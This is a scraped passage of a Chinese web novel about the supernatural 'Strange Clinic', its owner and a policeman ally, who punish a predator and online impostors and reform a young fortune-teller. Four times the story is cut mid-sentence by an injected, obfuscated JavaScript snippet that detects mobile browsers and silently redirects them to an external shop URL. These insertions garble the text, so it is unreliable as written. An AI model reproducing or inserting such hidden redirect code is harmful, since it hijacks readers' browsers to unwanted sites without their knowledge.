他们倾家荡产,也要让罗学倾受到应有的法律惩罚。 可,一切都如水月镜花,太过虚无缥缈,逐渐变成了一家人的执念,逐渐变成了他们生活的意义。 但他们生活的意义本不该如此。 每个生长在花季的女孩都应该有最美好的年华,也正是在这种乱花醉欲迷人眼的时候,才会被毒蘑菇吸引,有的丧命,有的重伤。 “滚出去……”女孩的眼睛转动了一下,她以为是每日照顾她的人,却没想到看到个陌生男人,当即应激。 “啊——” 恐惧占据了她的所有,那些她想要忘记的回忆如附骨之蛆蔓延而上,紧紧抓着她的心脏,痛不欲生。 “我是警察,过来想跟你商量件事,关于,你想要的,你想要为她们讨回的那份正义。”春渐满并没有在意那恐惧的尖叫,他利索地掏出证件,说明来意。 他知道女孩听得见,她只是害怕,但她听得见。 听得见希望的声音。 巢杉月缓缓收了尖叫,她的喉头滚动一下,两行清泪从眼角滚落。 “我叫巢杉月,我愿意配合调查,竭尽全力配合一切。”她的声音没有一丝颤抖,也不恐惧,仿佛刚才那声尖叫不是她发出的。 像是终于等到了自己想要的,她空洞的双眸闪出了光芒。 春渐满在来之前想过要不要跟巢杉月讲“怪奇诊所”的事,毕竟这种都市怪诞正常人都应该挺害怕的,当然也会有一些怪诞爱好者对此狂热。 但女孩应该不属于这类人,所以春渐满想好了措辞,才和独孤尽提了一嘴,让女孩参与“怪奇诊所”救治行为。 这种让人上瘾的权力至上的感觉,他自己难以控制,虽然独孤尽目前看起来还没有上瘾,但这种权利,最好还是放给受害者。 而受害者也不会一直拥有这种权利。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688931|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们只会有一次,仅此一次的。 这是一次极其大胆的尝试,不仅要独孤尽配合,更要女孩配合。 索性巢杉月不同于其他女孩,从她敢为了正义独自闯敌营就能看出她有勇,但是谋略略差。 不过在独孤尽的绝对世界里,她不需要谋略,只需要做好指挥独孤尽的指挥官就好。 春渐满在暗处看着看着,觉得女孩倒像是很正常,可独孤尽怎么有点撑不住了。 也是……他好像一向都很怕见这些血腥。 之前几次让神兽执行的时候,他也是站得高高,躲得远远,实在不行就弄个沙发出来,睡在沙发上,两眼一闭。 春渐满想要上前去看一下独孤尽的情况,他看到独孤尽的双手已经湿透了,汗水从指尖落下。 他快撑不住了! “可以了。”女孩的声音突然想起。 “已经可以了,”女孩已经泪流满面。 果然,让一个普通的,正常的人来做罪犯会做的事,是会痛苦的。 “我不要复仇了。”巢杉月的身体在颤抖,她在独孤尽的世界里,拥有健全的身体,可她仍旧觉得疼痛不已。 她双手紧握,忍着疼痛走到独孤尽身边,扯了扯他的衣服,“可以了。” “太痛苦了,我太痛苦了,好痛啊。” 那些实施在罪犯身上的暴行似乎也施行在了她身上,那种感同身受,让她无法痛快。 “好。”独孤尽应下,暂且将罗学倾的神魂塞进了一个小瓶,随后他轻点女孩眉心,让她醒来。 独孤尽和春渐满也从“怪奇诊所”中出来,他们站在女孩房间里,看着女孩轻轻颤动眼睫,挣开眼睛。 那双眼里原本的亮光又散了。 “看来,这次尝试失败了,不该让普通人参与进来。”春渐满得出结论,是他太想当然了。 如果人人都能像独孤尽这样,那也就不会只有一个独孤尽了。 春渐满难得显得有些垂头丧气,他不太敢面对女孩。 本是好意,现在反而加重了女孩的心理阴影。 “晚点让耳鼠给她治疗。”独孤尽轻拍春渐满肩膀,让他不要负罪感太重。 “这件事是我们俩人一起决定的,不要把责任揽在自己一个人身上。” “可就算有耳鼠给她治疗,这次我们给她造成的伤害也已经存在了。”春渐满伸出自己的双手,盯着看了好一会儿。 他觉得自己的手上跟罪犯一样,沾满了鲜血。 “还记得我之前一再跟你确认要不要进‘怪奇诊所’吗?”独孤尽难得勇如此认真的眼神看着春渐满,“那是因为我从不觉得自己做的事就是正义,只不过,有些恶太恶,为了更多人的利益,也为了让画不对我进行惩罚,我做出了这些举动。” “而你,本可以远离这一切。” “可你看起来太落寞了,我不想你像你的名字一样。”春渐满眼里满是坚定,“我想把所有丰收的,美好的,分享给你,也想分走你一半的孤独。” 35. 整治网络怪象 为了尽快减轻女孩的心理负担,独孤尽飞快唤了耳鼠出来给她治疗。 耳鼠虽然能解燃眉之急,但那些伤痛非一朝一夕,尤其是巢杉月身上的无法再复原的伤,那会永远陪伴她,最终成为她自己的一部分。 而要接受这些伤,需要的不是耳鼠,而是自己、家人,与朋友的共同努力。 也不知道巢杉月之后和储蒙会怎么样,储蒙他背负着杀人未遂的罪名,肯定少不了被判重刑。 但考虑到他的动机,可能量刑会从轻。 “当务之急要让罗学倾醒悟。”春渐满从低迷中出来,他用充满希冀的目光看着独孤尽,而独孤尽只是冲他摆手。 “饶了我吧,正义使者,我从来做不来这个,晚点派神兽去布局。”独孤尽拒绝再被工作绑架,这种除了加班就是加班的生活他真的不想要。 “那你呢?”春渐满不觉得独孤尽能袖手旁观。 谁料独孤尽看了他一眼,突然笑得放荡不羁,“我自然是逍遥我的,本来我就该逍遥自在。” “难不成你觉得我是救世主,每天都要疲于为苍生请命不成?”独孤尽召回耳鼠,问了一下女孩的情况。 “她能清醒着接受这一切了?” “是的,主人放心,巢杉月已经不再被情绪所困,耳鼠出手,必定病除。”耳鼠甩了甩自己的尾巴,骄傲地仰起脑袋。 “很好,奖励你出去吃好吃的,账算在我头上。”独孤尽非常良心地奖励了优秀员工。 “这样九尾狐要说主人偏心了。”耳鼠眼睛都弯了。 “此事就我们三个知晓,九尾狐没我的召唤她无法出来。”独孤尽似是想到了什么,“你要回去炫耀?” “炫耀什么,炫耀完下次主人就得给大家都买单了,主人有这么多资金吗?”耳鼠眨着布灵布灵的大眼睛看着独孤尽。 “你现在除了‘怪奇诊所’这个主业,有做其他副业吗?”春渐满也好奇起来,他知道独孤尽从未用自己的能力去坑骗别人的钱。 “在网上给人看近期的运势算吗?”独孤尽沉思片刻,说出了一个让大家意想不到的回答。 “你还会给人看运势?”春渐满从上到下重新打量独孤尽,愣是没从他身上感觉到神棍的气息。 “我不会看,这不是有画呢,如果对方跟我接触时,画有反应,给我预示,那肯定是有大事了,如果没有,说些套话就行。”独孤尽一副熟练工的样子,他侃侃而谈。 “那些套话在网上查一下,十个有八个都一样的。” “画应该只能预示特大的灾祸吧?”春渐满感到困惑,“那那些小灾怎么办?” “都已经是小灾了,直接用套话就行,只要告诉对方没有大的灾祸,如果碰到一些小磕绊,跨过去就会重获新生,就可以了。”独孤尽耸耸肩,“当然,大部分这种都会说得神乎其神一点,前期咨询就要很久,但我不一样。” “我都是直截了当,一句话给人讲明白。”独孤尽竖起一根手指。 “这也能有人找你算?”春渐满了解一些骗术,都是需要讲得越复杂,对方才会越相信。 当然,这种算命、塔罗,作为一门职业,有人自愿出钱也没法判对方诈骗。 而且现在,春渐满已经对这个世界的认知重构了,这些神乎叨叨的东西,他不敢完全否认。 “当然,我用的不是个人名号,我用的是‘怪奇诊所’的名号接的单。”春渐满挑挑眉,虽然一开始“怪奇诊所”的开业并不是他本意,但他总不能坐吃山空,毕竟那一亿的财产都变成了“怪奇诊所”本身,他不得用它会点本吗? “没想到你还有点经商头脑。”春渐满拿出手机,在网上搜索起“怪奇诊所”,这不搜不要紧,一搜把他吓一跳。 “你在这么紧迫的时间里,还接单帮人看运势?”他的手机上冒出很多“怪奇诊所”的信息。 其中有一条甚至就在半小时前,“怪奇诊所”还进行了回复。 “我最近都没接单,一直加班没有假,我怎么可能还做副业?!”独孤尽拿过春渐满的手机查看上面信息。 果不其然,有谎称自己是“怪奇诊所”的人在网上招摇撞骗。 “碰到我手上算是碰对了。”独孤尽拿出电脑,立马定位了对方,把地址信息发给了春渐满,“管管?” “你先别急,这边还有……”春渐满发现在网上谎称“怪奇诊所”牟利的人颇多,还有很多人已经被骗,有些人被骗后出了事还在网上披露“怪奇诊所”是骗局。 “……”他只是一段时间没上网,怎么就谣言四起,还有这么多人冒充他了? 明明之前他活跃在网上的时候,根本没人敢这么做,他们都怕“怪奇诊所”的治疗。 可普通民众是不怕的,正应证了那句话,不做亏心事不怕鬼敲门。 看来,他要在加班的时候再加一个班整顿一下网络环境了。 独孤尽暗自叹了口气,他脸色颇差,在自己的官方账号上发布了最新消息。 【最近已有多人冒充“怪奇诊所”,请亲爱的广大网友们擦亮眼睛,认准本平台,切勿相信除了基础费用另收费用的人员!】 独孤尽的消息发出去很快,他运用了技术让自己的定位处于虚无缥缈的位置,让警方无法定位他,但公众平台又无法对他进行处罚,毕竟,他的这个账号只在做正常的工作。 而且,就目前看来,“怪奇诊所”还并未做出损害公民利益的事,警方虽然很想知道它的真身,但也不能明着来,只能暗中派出自己的得力干将去调查。 春渐满曾经就是一位暗中调查“怪奇诊所”的人员,但一直苦苦调查无果。 没想到,造化弄人,现在他竟然已经成为了“怪奇诊所”中的一员。 还要帮着隐瞒“怪奇诊所”的真相。 这种感觉对他来说,并不好受。 独孤尽盯着电脑,不断刷新,从一开始的几条评论到后面几万条评 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688932|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 论仅仅只在半个小时左右,他畅快地再次发布动态。 【目前已在追踪冒充“怪奇诊所”的人员,大家被骗取的钱财很快就会返回,请在三个工作日内注意查收。】 这条消息一发,所有人都炸了。 不仅仅是广大网友爆炸,更让那些冒充“怪奇诊所”名号来做自己生意的人爆炸。 他们自然知道“怪奇诊所”的威力有多大,所以以前一直都是蠢蠢欲动,从未想过要做这么冒险的事,可前几天突然出现了一位神秘人,跟他们说“怪奇诊所”最近正陷入风波,没空来管他们。 这才有了那个熊心豹子胆,打算能干几票就干几票。 一开始也没多少人相信这点,毕竟以往只要一有人打着“怪奇诊所”的名头招摇撞骗,那些人就会立马遭到报应,并且出来道歉。 可这一次不一样,他们试着做了几单,并没有人出来让他们道歉。 渐渐地,知道这个内部消息的人就多了,大家也就越来越肆无忌惮,开始忘了“怪奇诊所”的恐怖之处。 这个消息一出来,所有人都慌了,有的人已经提前道歉,只不过还存着一点侥幸心理,没有把自己敛的财退回去。 独孤尽望着那些做了道歉行为,但是并没有道歉之心的人,冷哼了一声,“都是一些不见棺材不落泪的。” “你打算怎么办?真要一个个把他们都拉进‘怪奇诊所’诊治一顿?”春渐满不敢想象那个工作量会有多么庞大。 “你以为‘怪奇诊所’只有一个吗?”独孤尽突然唇角微扬,他竖起手指轻轻摇了摇,“只要我想,‘怪奇诊所’就能有很多人,而且只是诊治这种招摇撞骗的人,不用费多少力气。” “只需要给神兽们一点甜头,让大家互相竞争,看谁做得最快最好,大家就会分头行动,将那些人拉进自己的区域,进行诊治。” 独孤尽重新又刷新了一次网络,这回他看到道歉的人更多了,而且已经有人表示,自己收到了退款。 “那你要怎么定位那些人,不用一个个查吗?”春渐满觉得调查也是一件很费时的事。 “有技术人才,不然你以为我为什么要让大家考试?”独孤尽敲重点,“当然是培养这些神兽使用现代化技术,我把自己的技术交给了一些比较聪明的神兽。” “接受度这么高?!”春渐满不敢置信,神兽听独孤尽的话也就算了,竟然听话到去学习现代技术。 “当然,更多的还是你见过的那些连人言都学不会的。”独孤尽意味深长看了春渐满一眼,突然改了称呼,“春老师,以后的技术类课程,还需要你多费心。” “我能教他们什么,人类心理学?人类犯罪心理学?”春渐满想到就觉得好笑,让一堆神兽去学习人类。 这是什么地狱笑话。 “它们很想出来,来人类世界……它们要的,可不止这么简单。”独孤尽的眼睛如深潭一般幽深不见底,“我当然要给它们一些阻碍。” 36. 天上掉下的星 网络上的风浪只起了一时,很快那些不信邪的都被神兽们找到,并进行了非常统一的诊治,在独孤尽的监管下,这些神兽自然不可能肆意妄为。 对于这种没有害人性命,只是骗取点小钱财的,“怪奇诊所”的诊治手段一向比较温和,只不过是让他们感受一下倾家荡产,锒铛入狱,晚景凄凉。 大部分人都能在这层治疗后就洗心革面,但也有少部分人早就了解过“怪奇诊所”,毕竟网络发达,总会有不少人放出一些关于“怪奇诊所”的真消息。 其中当然包括他们的亲身体验,除了精神上受到点摧残外,生理上好像并没有什么影响。 不过更多的人知道,如果他们再犯,受到的可就不是这种治疗了。 总有那么一小部分人无知无觉,心存侥幸,这次也不例外,他们觉得只是这种程度的话,就当自己做个噩梦,醒了自己也不会有什么损失。 谁还能在现实里阻碍到他们吗? 不会有的。 这种盲目的自信甚至到了自大的地步。 “主人,还剩下两百三十五人阳奉阴违,并没有治疗成功。” “我知道了,进行二阶段治疗吧。”独孤尽一声令下,神兽们纷纷跃跃欲试,对于那种小打小闹的治疗,它们并不痛快,但只要上到二阶段的治疗,就有点意思了。 正在家中沾沾自喜以为摸透了“怪奇诊所”的莫辰,看着银行卡账号里越来越多的存款,刚准备去医院,把亲人的医疗费缴一下,就被眼前的气泡惊到。 这是……又要进“怪奇诊所”了?! 可他现在明明没睡觉,应该是在现实中啊,怎么会这样?! 难道“怪奇诊所”还能影响现实?! 莫辰有些慌张想要逃离,他猛地打开房门,却发现自己踏不出房门一步,很快手机就传来了电话铃声。 他赶忙接起,希望能够对外进行求助,无论是谁的电话都没事! “请问是莫国强的家属吗?刚才你爷爷病危,我们努力抢救,还没来及找你签字,就已经抢救失败,离世了,我们很抱歉……”是医院打过来的噩耗。 “什,什么?”莫辰的双手在微微发抖,他大脑一片空白,电话里的话每个字他都听得懂,可组合在一起,他怎么就不懂了。 “你爷爷已经去世了,请节哀。” “不……不可能……我爷爷虽然身体不好,但一直积极配合治疗,怎么可能说不行就不行了!”莫辰的脑子总算开始运转了,他焦急地咬着指甲,突然想到了什么。 “气泡……气泡!是‘怪奇诊所’搞的鬼!我就借它名头赚点钱而已,我只是想多赚点钱给爷爷缴医疗费,他们怎么连这都不能容忍,我又没有干什么人神共愤的事,怎么能痛下杀手针对我爷爷!”莫辰气愤至极,他抽了抽鼻子,甩了自己两个耳光。 “我也是,明明知道‘怪奇诊所’的盛名,为什么要招惹他们,为什么要心存侥幸!”莫辰挂断了电话,想将赚到手的钱转回给受害者,可现在做这些还有什么意义吗?他的爷爷已经被“怪奇诊所”弄死了。 莫辰反复点开手机,既想转钱承认错误,又觉得自己做得并不过分,而且事已至此,人死不能复生,干脆不转回去,反正除了爷爷之外,他也没什么可在意的了。 在如此强烈的矛盾情绪下,莫辰迟迟没有悔改。 神兽们又不是独孤尽,会刚柔并济,它们只是一再借此机会宣泄自己,释放自己的兽性。 那些凶残的,被独孤尽压制着的兽性。 当莫辰来到医院,却被告知,他爷爷的遗体不知道被谁偷走了,医院的监控里查了,都没查到,像是凭空消失的。 莫辰很希望是他爷爷生命力旺盛,自己复苏了,可他现在非常清晰地知道,绝对是“怪奇诊所”搞的鬼。 他一定要跟“怪奇诊所”对抗到底! 接下来,无论遇到多么离奇的事,莫辰都两眼空空,即便那些他骗取来的钱财直接归零,他都没眨一下眼睛。 事情报到独孤尽那的时候,神兽们已经把能够精神治疗的方式都用过了,再往下就是在精神世界摧残□□的那些血腥手段了,那是针对背负了命案的人才会使用的。 独孤尽提取了神兽治疗时的画面,他发现这是个很有趣的年轻人,他不仅没有被这些治疗手段打败,反而到后面越挫越勇。 像打怪升级一样,他现在起码升到了五十级。 “你们去吧,辛苦了。”独孤尽接手了这个特殊案例。 自从独孤尽忙于网络风波,春渐满就暂且离开继续配合落水案的警察调查情况去了。 此刻他正在警局跟负责落水案的警察翻阅收集到的证人资料与证词。 “我们目前有五位证人愿意出面作证,有十二位证人提供了证词。”春渐满把重要文件整理归纳好,“还有三位提供了确凿的证据。” 那是当时受到罗学倾侵害后,及时保留下的证据。 “储蒙能不能算他防卫过当?虽然我们都知道,他确实是想杀了罗学倾,但事出有因,且如果他不这么做,会有更多受害人出现,他这也算是想要为人民除害。” “这种事我们心里想想就可以了。” 两人各自叹息了一口,重新打起精神,把案件往下推进,他们只能确保证据链完整,最后移交给人民检察院,具体要怎么判决,还得看上面的意思。 “如果上面不……”警察一脸愁容,他生怕自己就是那下一个要被威胁着退位的。 这几天他都惶惶不安,生怕被人找上门来,可稀奇的是,并没有人找到他。 立案以来,罗学倾的家属就像是销声匿迹了一样,联系了很久都没联系上,不知道在整什么幺蛾子。 “要相信。”春渐满眼里闪着磨不灭的光。 独孤尽让神兽都休息后,他好好研究了一下莫辰这个年轻人,他从小就是跟着爷爷长大的,属于留守儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688933|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 童,只不过和其他留守儿童不一样的是,他从小就不期盼父母。 他爱和小动物们玩,也爱陪着他的爷爷,帮他干活,减轻家里的负担。 一直到后来,网络开始逐渐发达,他渐渐发掘了一些商机,开始用塔罗牌来给人算运势。 因为大部分做这块的都是女孩子,很少有男孩子算塔罗牌,他的声音又很有少年的气息,渐渐地也就做起来了,可实际上找他算塔罗的人也不多。 有的一单只赚个三十、五十的,勉强能够他和爷爷生活。 可有一天,他的世界变了,爷爷突然生了病,可能是年轻时就累积下来的,积劳成疾,需要在医院里持续治疗。 每天的住院费就高得出奇,他还是把爷爷带到了城里去才能进行这种治疗,他自己在外面租个房子,一个月的开销高得出奇。 这根本不是他这个中学文凭的人能闯荡的世界,他虽有手艺,从小跟着爷爷一起做藤条编织,很快就能编好一个筐,但现在这种东西的卖点必须跟非遗扯上边,还需要请人直播、代言,宣发广告,初期费用就不是他能负担的。 他没有固定的工作,也没有商品住房,没法请求银行贷款。 就在这时,他突然在网上搜到一条关于“怪奇诊所”的消息,从此一发不可收拾,他像着了迷一样关注着“怪奇诊所”,希望“怪奇诊所”能够救救他。 可即便他再诚心祈求“怪奇诊所”的出现,他也没有得到“怪奇诊所”的眷顾。 所以,别怪他顶着“怪奇诊所”的名头出来接单。 他看过别人晒出来的与“怪奇诊所”的聊天记录,都是简洁的一句话定生死。 就这样,对方还要支付百元的征询费。 但,听说,如果对方遇到大事,需要处理,“怪奇诊所”是不需要你支付额外的费用的。 这也就是为什么那么多人愿意找上“怪奇诊所”征询的原因,现在社会,一百元买不了多少东西,但如果在自己感到不安的时候,花个一百元,即便是买个心安,大家也觉得值,更何况,如果真有情况,人家“怪奇诊所”后期还会全程零费用帮忙解决。 并且,喜欢直接了当的人有很多,比起那些复杂的、一聊要一个小时几个小时甚至几天的,在这个快节奏的时代,大家当然会选择一句话定生死。 “怪奇诊所”的信誉是有目共睹的。 为了打“怪奇诊所”的名号,莫辰给自己取了个“怪奇诊所岭安分所”的名字,他用着跟“怪奇诊所”一模一样的经营模式,只不过……他没法真的算出对方的运势。 独孤尽勾了勾唇角,“有个分所也挺好的,就是骗人不悔改这点不好。” 莫辰疲惫地倒在沙漠里,他看着漆黑一片的天空就知道,这里也是“怪奇诊所”的区域,他不明白自己为什么怎么走都离不开“怪奇诊所”。 看着看着,忽地,一颗星就从天而降了,逐渐变大。 那是个人! 37. 开分所了 在莫辰的视角里,独孤尽就像是天神一样,从空中缓缓落下…… 哦不,是急速坠降。 但独孤尽用那样快的速度落在地上时,竟没掀起半点沙尘。 莫辰这个时候还有闲心看他踩到的那片沙土,上面连个脚印都没。 “你又是什么幻象?我不怕,尽管来吧,反正都是幻象而已。”莫辰重新又直挺挺躺回沙上,他后脑勺枕着沙土,无所谓的看着漆黑的天际。 独孤尽俯身抓了一把沙,往他身上淋了点,他也毫无反应。 确实,在他到来之前,莫辰连沙尘暴都经历过了,他身上都是细小的被风沙刮出的伤口,怎么会怕他这种小儿科的把戏。 “为什么不肯跟大家道歉?”独孤尽凭空捏了一把沙坐的椅子,坐在莫辰旁边,准备好好用心理医生的方式跟他聊聊天。 “你这个幻象倒是奇怪,我还是第一回见,你有人类的思想,能跟我正常聊天?”莫辰颇觉好奇,他扭头看向独孤尽,尽管以他的这个角度只能看到独孤尽的鞋子。 “回答我。”独孤尽没看莫辰,他把玩着自己的手指,只是声音冷而沉。 “就不告诉你,告诉你有什么用?不还是照样出不去。”莫辰现在觉得能在这个幻境里体验各种他以前从未体验过的生活,也挺好的。 只不过,每次他受到致命伤害时,总有一股力量护着他,让他免于毙命。 他对“怪奇诊所”的这种保护手段嗤之以鼻,既然已经想用绝对的能力让他屈服了,何苦还要惺惺作态装做好人。 “你对‘怪奇诊所’的意见很大?”独孤尽像是能看穿莫辰,他又拾了一把沙,往莫辰脸上淋去,“那为什么还要用这个名头赚钱?” “大家都能,为什么我不能?”莫辰仍旧不悔改,他梗着脖子,任由沙从脸上滑落到耳朵里。 “可大家也都道歉了,你为什么不道歉?” “大家都做的事,我偏要做吗?” 独孤尽看懂了,这就是个还没长大的孩子,他虽然在很多方面都独当一面,既能养活自己,还能帮助家里,可他的心,却没长大。 “你的爷爷呢?你也不管了?”独孤尽知道如何戳人痛处,尤其是在他知道了神兽对他的治疗过程。 “爷……爷爷……他已经……”莫辰悲从心来,他从最开始的愤怒,想要反击,到现在被磨得只剩悲哀、难过。 可又过了一会儿,他突然回过神来,也不躺在沙地上挺尸了,噌噌噌就爬起来,希冀地看着眼前这个从天而降的幻象。 “你的意思是?!我爷爷离世也是幻象?!” “你好好想想,‘怪奇诊所’干过这种惨无人道的事情吗?”独孤尽继续点拨。 “我……我不知道,但是那些得罪‘怪奇诊所’的人不是都很惨吗?!大家都很惧怕啊!”莫辰现在心里都是爷爷可能没死,他整个人都快要跳起来。 “我要出去!我要出去!” “你难道是我的心魔?打败你是不是就能出去了?”莫辰开始胡乱猜测,甚至跃跃欲试,打算对独孤尽动手。 正慢条斯理凭空拿出杯水喝着的独孤尽差点把水喷出来,他赶忙让自己的座椅往空中升了好几米,让莫辰这个普通人够不着。 “果然!你一定是我的心魔,我想想,要怎么抓住你!”莫辰像是无师自通一样,心念转动,竟隐隐有种能调动空间力量的趋势。 索性这里是“怪奇诊所”,是独孤尽的绝对领域,现在除了春渐满,也没人能在这个空间里随心所欲。 此后,独孤尽临空观赏了半小时莫辰的努力,他真的很努力,如果再给他点时间,说不定能堆出一座高高的沙堡,能够够到他的高度。 只不过,他忘了,独孤尽能够随时变换位置,即便他将沙堆砌到足够的高度,也无法拿独孤尽怎么样。 但这种努力的状态,谁看了都要动容。 独孤尽也不例外,他放下手中的水杯,从沙椅上起来,轻飘飘落到地上。 “我不是你的心魔,你不用打败我就能出去,只要你同意跟大家道歉,并把之前收敛的不义之财还回去。”独孤尽用着最温和的语气,他不想再刺激到莫辰丰富的想象力。 “想出去,想见你的爷爷,就按我说的做。” “我凭什么相信你?我连你是什么都不知道,我都看不清你的脸。”莫辰气喘吁吁冲着独孤尽大吼。 “我的脸自然不能让你看清,至于我是谁,你醒之后好好想想,会知道的。”独孤尽说完这句话就直接解除了“怪奇诊所”。 在他消失不见的同时,莫辰缓缓醒来。 他发现自己做了一个很长很长的梦,这些幻境那么真实,真实地他都不知道自己是何时睡着,何时入梦的。 醒来的第一时间,他就打了电话给自己爷爷,爷爷用手机还不顺溜,过了好一会儿才接通电话。 “喂?小辰啊……” 苍老的声音从电话那头传来,莫辰一瞬就落下泪来。 “爷爷,爷爷……我想来医院看你。” “好,好,乖宝想来就来啊。”电话那头似乎听出了莫辰的哽咽,担心他出了什么事,急着想好好安慰安慰。 “爷爷在医院一切都挺好的,你别担心,爷爷等你来啊,慢慢的,路上不急,注意安全。”字字句句全是关心。 “好……爷爷,我知道。”莫辰一把抹掉脸上的泪,他的唇角总算往上勾了勾。 太好了,爷爷还活着,爷爷还活着,希望还在,他的人生还没有因为他的一时鬼迷心窍而毁掉。 “一切还能重来……”莫辰想起什么,在去医院前,赶忙登上自己的账号,发了一条道歉公告,并拿出手机,把所有收到的转账都翻出来,退了一部分回去,还有一部分他的钱不够,用来缴医疗费用了,只能跟曾经向他咨询的用户单独道歉,写下承诺,之后一定会把钱还过去。 其实有很多用户人很贴心,虽然被骗了,但是看到他这么诚恳的份上,也说不用他还钱了,而且有些人被他一句话安定了心神,确实生活在向着好的方向发展。 但莫辰仍旧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688934|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坚持之后会退还,他其实也怕的,怕万一他心存侥幸,“怪奇诊所”真的对他爷爷怎么样,到时候他真的后悔也没有用了。 能够重来一次,他就已经很庆幸了。 可就在莫辰的道歉公告发出没多久,他的消息被“怪奇诊所”转发了。 @“怪奇诊所岭安分所”因事务繁多,“怪奇诊所”即将开启分所咨询服务,请大家认准,不要再被其他不法分子骗取钱财。 就在网上再次掀起轩然大波之时,莫辰正全然不知,他骑着单车在炎炎烈日里赶赴医院。 他必须亲眼见到爷爷安全才能放下心来。 毕竟“怪奇诊所”的能力那么强大,万一爷爷之前已经离世,这只是骗他道歉而制造出来的幻象怎么办? 因为在幻象里呆久了,莫辰颇有种不适应自己这具□□的感觉。 他在幻象里无论有多累,受了多重的伤,只要过会儿,就会恢复,可现实世界里,他因为太着急,踢到自行车脚踏蹭破的腿估计要过好久好久才能好了。 到医院时,医护人员看到他受伤的腿,以为他要挂号,给他指了方向,却没想到他直接飞奔到电梯口,显然目标明确。 推开房门的那一刹那,莫辰的手握在门把上都在发抖,他害怕自己是美梦一场空,可爷爷也一直在朝门口探望,看到他时,立刻喊了他的名字。 “小辰,快,快进来!” 莫辰几乎是用尽了所有力气,将他唯一的亲人狠狠抱紧。 “爷爷,爷爷,我好想你……” “怎么了?发生什么事了?遇事不要急不要慌,慢慢来,办法总比困难多,我们慢慢来。”爷爷的心态很平稳,他这一生经历过的事太多了,即便现在进了医院,需要孙子赚钱帮他治病,他也不急不躁。 “只是切记一点,要走正道,我们虽然人穷,但是志气绝对不能短了,知道吗?” “可是……可是……”莫辰更加难过了,都是他没用,才会让爷爷连病都看不起。 “是不是医疗费用缴不出来了?那我们就出院,等交得起了,再来看病。”爷爷说着就要从病床上下来,被莫辰死死抱住,“交了,交了。” “真交了?不要为难自己,人各有命,别担心爷爷。” “真交了,爷爷,我错了,我做了错事。”莫辰低下头来,不敢与爷爷对视。 他没有守住那份骨气。 “错了就认错,改错,以后别再犯。”爷爷继续开导莫辰。 这孩子,刚刚接电话的时候他就听出不对,果然因为他的病费心费神费力撑不住了吧。 “滴滴滴滴——” “滴滴滴滴——” 忽然间,手机提示音一个接一个,仿佛要让手机爆炸才罢休。 莫辰不好意思地拿出手机按下静音,才看了一下,他就瞪大了眼睛。 “恭喜用户‘怪奇诊所岭安分所’已通过官方认证,请珍惜您的账号,不断努力吧!” 剩下的清一色全是:【啊啊啊!是官方认证的!求算运势!】 38. 天狗 “爷,爷爷……我的账号爆了!!!”莫辰不敢置信地盯着手机上不断跳出的提示信息,他赶忙把消息提醒模式修改了,才让手机不至于那么爆炸,但私信上的数字还在不断往上涨。 从几百一瞬就涨到了几千。 全国有成千上万的人都爱玄学,尤其是在正规的“怪奇诊所”的咨询费用那么合理的情况下。 莫辰迷茫了,他怎么会突然被“怪奇诊所”正名了,但他确实不会玄学,那些自己学的皮毛根本不足以帮人判断之后的运势情况,如果对方真的之后有大灾,他没算出岂不是害了人。 很快他被自己冒出的想法给愣住了,好像之前他从来没想过这些,他人的死活跟他无关,他赚这个钱只是为了生计,他既没有谋财害命,也不存在过度的坑蒙拐骗。 他和其他同行还不一样,他从来不给大家下套,不需要后续支付一笔又一笔交易,从这点来看,他的行事作风确实像“怪奇诊所”的分所。 他想发一条公告澄清误会,他之后都不想用这种方式挣钱了,他不希望看到爷爷对他失望。 可“怪奇诊所”在他发消息前就联系了他,那是一条与其他私信不同的消息,仿佛突破了软件的限制,直挺挺现实在他的屏幕上。 【恭喜你被“怪奇诊所”认可,为了保证客人的权益,你需要来“怪奇诊所”进行周期性学习,直到能够确切给人判断运势。另外,收取你之后每笔收入10%的加盟费。】 加盟费? 